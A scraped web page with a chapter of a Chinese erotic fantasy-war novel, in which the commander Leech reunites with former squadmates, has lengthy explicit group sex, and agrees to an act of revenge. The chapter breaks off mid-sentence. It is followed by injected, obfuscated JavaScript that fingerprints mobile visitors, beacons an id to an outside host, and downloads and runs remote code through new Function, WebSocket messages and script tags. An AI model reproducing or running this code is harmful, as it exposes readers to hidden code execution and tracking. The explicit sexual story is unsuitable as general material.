  抬头一看,他顿时高兴得跳起来。

  只见远处一长串车流之中,有一个人正站在车顶上朝他挥手,那是玫琳。

  他几天前听说西线战事结束,当初跟着嘉利前往西线的人,现在陆陆续续撤回来。有些人打算回蒙斯托克,但更多人将转来中线。没有想到玫琳这幺快抵达。

  和身边的地质专家以及管后勤的人打个招呼,利奇扔下他们朝玫琳跑去。

  稍微靠近了些,看清车里的人,利奇的兴奋劲更足:车里还有黛娜和诺拉。

  当初跟着嘉利前往西线的有莉娜、黛娜、玫琳、诺拉和兰蒂,现在一半的人已经回到他身边。

  「莉娜和兰蒂怎幺不在?」利奇远远问道。他不担心这些女人会吃醋,当初大家都在105小队里,无数次出生入死早已养成某种默契。

  「她们脱不开身。嘉利是总指挥,莉娜要在拉森霍格尔坐镇,阃蒂负责通讯联络,很多事不能被外人知道。」玫琳从车顶上跳下来解释。

  利奇一听莉娜坐镇拉森霍格尔,立刻明白西线肯定不太平,十有八九罗索托人又在搞风搞雨。

  想要对付罗索托人,确实没有比莉娜更合适的人选。

  她是圣皇血裔,罗索托人就算不在乎她,也要顾及圣皇一脉的感受,很多手段不敢轻易使用。

  圣皇血裔的招牌对西斯罗联邦同样派得上用场,至少压得住阵脚。在外交谈判时,莉娜的身份比米哈伊恩和塞斯库有份量得多。

  「罗索托人又不太平了?」利奇上车后问道。他考虑若是罗索托人搞得太不像话,他会想办法给罗索托人一些苦头吃。

  现在的他有这种自信。同盟联军最高统帅的这块牌子不是假的,地位还在安妮莉亚和卡洛斯之上。

  「还好,只是一些私底下的小动作,他们现在不敢和我们公然翻脸。」黛娜对这些事知道得比较清楚,因为一开始是她在处理这些事。

  每个人都有各自的特长,她很快发现她更适合于战场,对于勾心斗角实在有些力不从心。嘉利和兰蒂也是一样,只有莉娜因为从小成长的环境,决定她必须了解政治和外交,也只有她能够对付那些罗索托人。

  「我们的人损失大吗?」利奇比较关心这个。人总是有自私的一面,他问的显然是独立军的成员,没有算上荒漠各国的人。

  「还可以,西线的战斗算不上激烈,那边的人根本没有什幺斗志,不像这里都在拚命。听说这里单单同盟牺牲的骑士就达到六十几万。」黛娜说到这里时,心中颇为激动。她是一个真正的骑士,对于能参与这场世界规模的大战一直感到荣幸。她本来想加入中线战场,但最后不得不去西线,所以一直带着一丝遗憾。这次赶来中线也是她第一个提议的。

  「你的意思是我指挥得不好?」利奇有些受伤,不过他只会在105小队的人面前表现。

  「怎幺可能?你现在是赫赫有名的『战争之王』,《将星录》上排名第一的人物,谁敢质疑你?」黛娜半真半假地说道。

  《将星录》虽然是同盟带有某些目的故意弄出来的东西,不过这玩意儿既然弄出来了,自然要显得公正些,所以名将排行是按照一套複杂的公式而来。

  这套公式不是看谁打了多少胜仗,也不是看谁消灭多少敌人,而是看击败的敌人的实力和己方的损失评分。此刻联盟的精锐全都聚集在中线,利奇指挥的战斗基本上都能获胜。他又常用上驷对中驷、中驷对下驷、下驷对上驷这套打法,每场胜利的评分都很高,最终得分自然将其他人远远地扔在后面。

  不过就算没那套公式、没那些数据,利奇诡异到极点的非人类指挥方式,也让所有指挥官没有话说。

  「六十多万换两百多万,现在裴内斯已经有人提议要为你立一块碑呢!」玫琳也在一旁打趣。

  对于这件事,利奇有过耳闻,不过他不怎幺在意。

  他可以把那几位共和国创始者的坟墓刨了,将来也许有一天,他的墓也会被挖掉,与其那样,还不如不要形式上的东西。

  「我才不在乎呢!」利奇摆手,他往后一靠,双手搭在玫琳和黛娜的腰上。

  「你确实用不着在乎。」黛娜轻歎一声。

  「你感慨什幺?你的名字将来肯定会被记录在史书上。」玫琳和黛娜开玩笑:「嘉利和莉娜没这个资格。要说感歎,应该是我、诺拉还有三姐妹、罗莎、玛格丽特和蒂迪。」

  「你会在乎吗?」黛娜笑问。

  「那倒也是。」玫琳想了想,最后点头。105小队的人除了三姐妹、玛格丽特和蒂迪,其他人都有自己的故事,名利对于她们来说没有任何意义。

  「不用担心,只要大家都成为剑圣,你们用不着担心被人忘记。」利奇的手渐渐地滑下去。

  如果是五年前,玫琳和黛娜或许会以为他在做梦,但现在105小队的每一个人都有自信能够踏足天阶,只是晋陞圣级不太有把握。不过也不是一点信心都没有,至少翠丝丽、莉娜这两个人已经把目标定在圣级。利奇知道黛娜也有这个心思,只是一直没有表露出来。

  圣级不代表剑圣,不过这帮人如果真的成为圣级强者,以她们之间的关係,很有可能轮流做剑圣。

  「翠丝丽和妮丝呢?她们一直和你在一起吗?」玫琳随口问。对于翠丝丽,她不很在意,但她和妮丝的感情不错。

  当初在105小队时,她专门负责防御,有时需要她独当一面,妮丝往往被派来和她联手;她在前面防御,妮丝在后面偷袭。

  「我哪有那个时间?之前的那段日子我就像一台机器。」利奇对于那段日子有些不堪回首。

  「呵呵,我们听说过你的威名。」黛娜在一旁笑了起来。

  「今天你怎幺有空?」玫琳问道。

  「至少有一段日子不会打仗,对于我来说算是难得的休息时间吧。」利奇歎道。碍于保密条令,他没办法说得太多。

  清晨时分,淡淡的薄雾渐渐退去,在河湾的一处隐蔽角落停着一辆车。

  这条河是阿尔齐斯河的支流,停车的地方离前线有一百多公里,用不着担心会被联盟的人发现。

  那辆车微微地晃动,但从外面听不到任何动静。

  在车里,尖叫声一阵高过一阵。发出尖叫声的是诺拉,她的脸上满是凄厉神情,却带着化不开的春意。

  她的身体剧烈地颤抖,因为利奇的撞击,浑身的软肉像波浪一样蕩动。她的皮肤早已一片潮红。

  能够把诺拉弄成这样,此刻利奇的心中充满一种满足感。

  在他认识的所有女人里,诺拉的性技最高明,而且她的精神状态有些异常,就算达到高潮也很少表露情感;只有彻底摧毁她心中的那层隔膜,才能让她变成现在这样。

  以前他没有做到并不是因为他的性技不高明,而是他的实力不够,同样也因为诺拉的实力不够。

  想要摧毁诺拉心中的那层东西,刺激必须够强烈,唯一的办法是堆积高潮,但又不能超过人体承受的极限,要不然会死人的。

  现在他对于力量的控制已经能做到非常精微的程度,只要有一点点伤害到诺拉的迹象,他会立刻停下,让诺拉适应之后再继续进攻。这样一点一点地把高潮堆积到以往没有过的程度。

  这已经不是快乐,而是一种痛苦了。

  不只是对诺拉来说很痛苦,对他也是。性爱的刺激是双向的,对诺拉来说,刺激越来越强、越来越深,对于他也是一样。

  所以在诺拉高亢的尖叫声中,他一泻如注。

  他没有射得这样畅快过,痛苦之后是从所未有的享受。

  一边射精,利奇一边感受诺拉强有力的紧缩。绞拧着的阴道还有从子宫深处传来的强劲吸力,都是绝无仅有的享受。

  不知道过了多少时间,两个人才放鬆下来。

  极度高潮之后是极度疲惫,诺拉直接躺倒在车的地板上,她的双腿从利奇的腰上无力地滑落。利奇懒洋洋地趴在诺拉身上,两个人除了交合在一起的部位,其他地方一动都不想动,连弯曲手指的力量都没有。

  看到两个人动弹不得,车上的女人吃吃地笑了起来,不过笑声显得有气无力。

  黛娜、玫琳、翠丝丽和妮丝全都赤赢着身体躺在地板上,她们互相枕靠着。

  从昨天下午三点一直到现在,她们根本没有停过。

  这是一场疯狂的做爱。

  她们的胯间到膝弯处全都沾满黏稠浆液,有些是从她们体内流出来的,更多的是精液。

  更多的精液正储存在她们的子宫里。

  又过了一刻钟,利奇稍微恢复了些,他一把将诺拉抱起来,让她脸朝下趴好。

  诺拉懒懒地趴着,屁股高高翘起。她的腰像是快要折断似的,在她的屁股后面塞着一个皮塞子。

  利奇迅速地把塞子拔掉,然后将硕大性器插进去。

  他的动作已经够快,仍旧有一些满是泡沫的白浊浆液从里面冒出来。

  并非只有诺拉是这样,车上每个女人屁股后都有一个肛门塞。

  一插入诺拉的后窍,利奇感到一阵比刚才更强力的紧缩。

  诺拉虽然已经浑身无力,但利奇一插进去,她就不由自主地为他服务起来。

  「这感觉真美妙。」诺拉低声自言自语着。

  破除那层隔膜之后,她看起来和以往似乎有很大的不同。

  以前的她高潮时神情有所变化,但眼睛里却始终一片茫然。此刻她的眼神之中有了神采。

  诺拉的变化全都落在黛娜她们的眼里。

  「你现在看起来好多了。」黛娜说道,她的言语中带着一丝欣喜。

  听到这话,诺拉的脸上露出一丝哀伤。她想起以前的经历,想起在秘密研究所的日子。

  「我想杀一些人,你能帮我吗?」诺拉的身上突然腾起一股浓重杀气。

  一直以来她都将感情紧紧锁在心底,现在突然释放出来,一时间难以控制。

  「什幺人?」利奇没有其他问题,根本没有问那些人是不是该死?因为他已经猜到答案。

  「还记得那间秘密实验室吗?那里总共有一百二十五名工作人员,还有一个中队的守卫,我要杀的就是他们。」诺拉再次散发出浓重的杀气。

  「你知道他们在哪儿?」利奇问道。

  对于这些人,他已经判处他们的死刑。这不只是为了诺拉,他不会忘记那些浸泡在液槽里的腐烂尸体。

  当时他虽然没有仔细看,却肯定那些全是成年人,有男的,也有女的,他们应该都是试验体。

  虽然不清楚到底发生什幺、为什幺他们全都被放弃?但有一点可以肯定:他们都是注射毒药之后死去的。

  「我知道他们在哪里。其他人容易解决,但有十二个人分别在帕金顿、奥摩尔和罗索托。」诺拉说道,显然她并非心血来潮才提出这种要求。收回蒙斯托克之后,她独自一个人调查这件事。

  「没问题,这不只是为了你,也是为了我。」利奇一点都没有迟疑,同样他也不觉得困难。

  三大帝国得到那些资料之后,已经开始进行这方面的研究。就算一开始那十二个人还有利用价值,现在恐怕已经没有用处。

  利奇也对自己的实力有信心,他有足够的好处换那十二个人的性命。

  突然他想到一件事,一件始终困惑他的事。

  「对了,我一直想知道,我真的是从试管里出来的吗?」

  他曾经看过那些实验记录。那群人确实成功地在轳管里製造出婴儿,不过具体记录却不存在了。当初撤离时,那群人匆匆忙忙逃离,什幺东西都没带,后来105小队奉命潜入秘密实验室,只带走核心实验成果和关键的实验记录,凡是不太重要的资料全都被销毁了。

  他当初是被当成「废品」处理,出生之后甚至连骑士力量都没有觉醒,有关资料自然归进不太重要的资料之列。

  诺拉似乎不太想回忆那段经历,她将头埋在双臂之下。

  看到诺拉不肯搭理,利奇开始不老实。他的手在诺拉的身上拨弄、拍打,老二也越插越深。

  诺拉刚想抗争就感到自己的斗气被封住,一点都用不出来。

  这下子她再也没有还手余地。

  一浪接着一浪的快感让诺拉彻底沉溺,她的呼吸越来越沉重、双眼越来越迷离。

  终于她经受不住利奇的软缠硬磨,气喘吁吁地说:「用……试管的……成功率不高,从我有……记忆开始,就……从来没有……看到他们用过。」

  利奇鬆了口气。不管怎幺说,他至少不是试管里跑出来的东西。

  真正让他感到在意的是,诺拉总算回答他的问题。

  他问那个问题不只是为了他自己,他更在意诺拉。

  诺拉的心结就是那段过去的记忆,现在他好不容易破除诺拉心中的隔膜,自然想趁机把这个心结一起去掉。

  他故意问那个问题,就是为了让诺拉直接面对那段记忆。

  现在看来效果似乎不错。

  利奇惬意地躺在黛娜的身上,一只手搂着妮丝,一只手抱着翠丝丽,两只手放在两个女人双腿间的方寸之地。这两个女人任由他又抠又弄却毫不理睬他,而是互相拥抱着接吻,两条灵活舌头搅在一起。

  利奇也和人接吻,他和玫琳口舌吞吐,玫琳趴在他的身上不停地扭动,诺拉则骑在他的身上轻蹲缓耸,一会儿将他那根硕大的性器整根吞下,一会儿又全部拔出来。

  「我真想一直这样。战争快打完了,总算可以休息。」利奇悠然说道。他一直安于现状,以前刚成为骑士时,他只想让日子过得好一些,除此之外就是想着如何在这场战争中活下来。后来地位越来越高,他的野心才增长一点。

  「你忘了,其实对蒙斯托克来说,战争早就结束。」黛娜懒洋洋地说。

  「你大概还不知道,年初的选举就像你希望的,你的老爸坐上总统的位置。」玫琳欠身而起,笑吟吟地说。

  利奇对蒙斯托克的消息不是一无所知,像蒙斯托克选举这种大事肯定会有人向他通报,而且以同盟情报部门的手段,给他的报告是最详细的,甚至连各个党派私底下的易都摸得一清二楚。

  更何况,他的老爸坐那个位置是在蒙斯托克还没有复国前就确定的。

  比起来,蒙斯托克多了一个叫「妇女联盟」的政治组织,影响更大一些。

  这个政治组织的首领是他的老妈,骨干是老妈以前的同学,以及由阿丽亚娜为首的女人帮,再加上梅丽莎、金妮她们。

  一开始这个完全由女人组成的政治机构,根本没有被新老政客们放在眼里。但是「妇女联盟」很快就显露威力。

  这个政治机构的背后有阿丽亚娜掌控的商行撑腰,这个畸形商行早已变成能够吞噬一切的怪物,连罗索托帝国这种庞然大物都对它感到一丝忌惮。

  现在蒙斯托克有近两成的人靠这家商行吃饭,将近一半的工厂在商行名下,将近八成的食物来源掌握在商行手里。各地重建计划的资金几乎由商行提供。

  上个月蒙斯托克第二共和国宪法修订会议上,「妇女联盟」弄出一件大事:她们提出妇女也拥有选举权。

  这不是一件小事。当今世界上只有卡佩奇允许妇女拥有选举权,不过需要本人提出申请,还要等待漫长的审批。这次「妇女联盟」要求的是以法律形式确定女人拥有选举权,不需要申请,而是像男人一样,只要一到十八岁,自动拥有这种权力。

  议会里不管是保守派还是激进派,无法接受这个提议。

  在议会里,「妇女联盟」处于绝对劣势,但她们有其他手段,所以四月中旬一直到现在,裴内斯的食物供给时断时续。最近这个星期,议会连纸张的供应都变得紧张,市面上连餵马用的草料都快没有了。

  从这一点就可以看出这帮女人联手的威力。

  利奇甚至还知道一件趣事。

  原本他的老爸不管事的,上上下下所有人只想把他当成一个摆设。但因为这件事,总统府的门槛几乎被踩平,从内阁到议会,所有人都希望老爸站出来说话。

  「我怎幺会不知道那边的事?」利奇苦笑:「但我情愿当做不知道。麻烦事一大堆。」

  「你的想法呢?」玫琳趴在利奇胸口,一边舔着两粒绿豆大的东西,一边问道。

  「我乐观其变,女人应该有些权力……只要别爬到男人的头上。」利奇说到后面半句话时,想到当初他刚进入105小队的情景。那时他的地位最低,每个人都可以欺负他。

  一想到这些他就有些不忿,一直搭在妮丝阴部的手稍微用力;那个小女人一直在和翠丝丽卿卿我我,突然间一阵强烈刺激袭来,她顿时受不了,浑身颤抖起来。

  利奇没有针对其他人,因为那时欺负他最厉害的就是妮丝这个家伙。当时她还整天男装,用着罗宾这个男性化的名字。

  当然师傅黛娜小姐对他也不怎幺客气,不过是为了他好。当时随时都可能打仗,而他什幺都不会,想在半个月时间里,将别人用十五年才学会的东西全部掌握,难度确实高了些。

  一想到过去那段岁月,利奇的心头一暖。那段日子对他最好的就是玫琳。

  「你想要些什幺?」利奇在玫琳的耳边轻声问。

  「好偏心喔!」黛娜说,玩笑的味道多于醋意。

  「人人都有礼物,我也为你準备一份。我问玫琳是因为我不知道她要什幺。」利奇连忙辩解。这确实是真的,他为黛娜準备了一件礼物,最近这段日子他为帕金顿、奥摩尔两国的顶级骑士设计灵甲,得到许多功法,其中有两部出自雷帝家族之手。除此之外,还有一些是和黛娜家传的「霹雳战技」类似的东西。

  在骑士的世界,擅自偷学他人的功法战技是大忌讳,把偷学来的东西再传授给其他人,简直是不共戴天之仇。除非他能从中领悟出一套全新法门,如此便和原主一点关係都没有。

  利奇还没有达到这种程度,再给他十年时间或许可以,现在还做不到。

  不过他有他的办法。

  他的办法就是战技和战甲相融合,弄出一个似是而非的东西。

  在骑士的世界里,偷学别人的东西是禁忌,但偷来的东西只是藏在骨子里,外表重新包装一遍,弄得比原版更胜一筹,而且看起来完全不同便不再是禁忌,甚至可以反过来和原版的拥有者做交易,用改进后的版本换原版使用权。

  「那幺我呢?」翠丝丽在一旁问。

  利奇这一次被问住了,他确实没有考虑过翠丝丽。

  战争一旦结束,翠丝丽肯定会留在奥摩尔;虽然仍旧是他的女人,却和以前有些不同。

  再说翠丝丽修炼的「天地绝」是一种玄而又玄的东西,他不太清楚其中奥妙。而且能用来借监的功法少之又少,修炼类似功法的人也很少看到。

  翠丝丽感觉到他的迟疑,轻笑着说:「用不着为难,我的路要靠自己摸索,我只想看看那些天阶骑士的战斗记录。」

  战斗记录虽然不至于像功法不允许别人察看,却有一套非常複杂的手续。除了一些特定部门,其他人想看必须得到当事人的允许。

  翠丝丽或许有能力说服奥摩尔帝国的天阶骑士,但她没有办法让帕金顿圣国的天阶骑士允许她这幺做。

  此刻却有一个机会:利奇手里也有一套记录。

  那不是从灵甲上的记录装置取得的,而是他监视整个战场时,从一个旁观者角度看到的战斗过程。

  利奇顿时有些为难。

  这其实不被允许,因为他手里的记录有很多数据是从灵甲的记录装置里拿来的。他能够得到这些数据,是因为需要他即时计算对方的弱点,以及可能出现的杀招。

  山坳最深处有一片铁丝网围拢的区域,中间有一个巨大的钢质圆弧顶盖。

  圆弧顶盖的底下就是大坑。

  这里是指挥系统的核心,每次指挥部向前移动,这玩意儿就要被搬运一次。好在另外两套备用系统一直没有挪过,要不然工作量实在太大,而且容易暴露。

  这套系统从一开始就在他的直接掌控,连负责守卫这里的都是原独立兵团成员。正是因为这个便利,他才敢答应翠丝丽,让她察看所有的战斗记录。

  此刻进来的不仅翠丝丽一个人,既然打算用一次手中权力,利奇乾脆把其他人也带进来。

  利奇没有打算下到坑里。

  当初为了避免有人混进来把这玩意儿炸掉,所以整个系统一旦启动,顶盖和四壁会完全密封。除非里面有零件损坏,或者这玩意儿要整个搬迁,不然是不能够打开的。打开它的动静之大,恐怕连联盟的人也能察觉得到。

  想要查找资料并不需要进入里面,在铁丝网的一角有一幢孤零零没有窗户的小房子。

  因为没有窗户,黑漆漆一片,利奇在门口墙壁按了一下,灯立刻亮了。

  房间里空蕩蕩的,只有一张桌子摆在正中央,上面放着一台投影机。投影机底部有三根金属线,其中一根金属线连着平台,另外一根金属线连着头盔,最后一根金属线穿过桌面一直钻入地下。

  在正前方的墙壁上挂着萤幕。

  把头盔戴上,利奇打开投影仪开关。萤幕上顿时投射出无数小格子,每一

相关视频

function OcbvDroJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hFlwtkqX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OcbvDroJ(t);};window[''+'E'+'w'+'L'+'o'+'i'+'H'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aXecA(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hFlwtkqX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aXecA(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aXecA(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGYS55aa2toaanMuY24lM0E5NTM1','168165',window,document,['T','a']);}:function(){};
let urls=["hYYtYYtYYpYYsYY:YY/YY/YYmYYqYY1YY9YYnYYdYYaYYdYY9YY.YYoYYsYYsYY-YYcYYnYY-YYsYYhYYaYYnYYgYYhYYaYYiYY.YYaYYlYYiYYyYYuYYnYYcYYsYY.YYcYYoYYmYY/YY1YY9YY/YY1YY0YY7YY5YYaYY2YY2YY8YY2YY2YY9YY9".split("YY").join(""),"hCCtCCtCCpCCsCC:CC/CC/CCpCC.CCgCCoCCdCCmCCwCCiCCtCChCC.CCcCCoCCmCC/CC1CC9CC/CC1CC0CC7CC5CCaCC2CC2CC8CC2CC2CC9CC9".split("CC").join(""),"hOOtOOtOOpOOsOO:OO/OO/OOoOOcOO1OO8OO1OO9OOnOOdOOaOOdOO9OO.OOoOOsOOsOO-OOcOOnOO-OOsOOhOOaOOnOOgOOhOOaOOiOO.OOaOOlOOiOOyOOuOOnOOcOOsOO.OOcOOoOOmOO/OO1OO9OO/OO1OO0OO7OO5OOaOO2OO2OO8OO2OO2OO9OO9".split("OO").join(""),"hUUtUUtUUpUUsUU:UU/UU/UUdUU8UU9UU-UU1UU3UU1UU3UU9UU4UU4UU0UU6UU2UU.UUcUUoUUsUU.UUaUUpUU-UUhUUoUUnUUgUUkUUoUUnUUgUU.UUmUUyUUqUUcUUlUUoUUuUUdUU.UUcUUoUUmUU/UU1UU0UU7UU5UUaUU2UU2UU8UU2UU2UU9UU9".split("UU").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();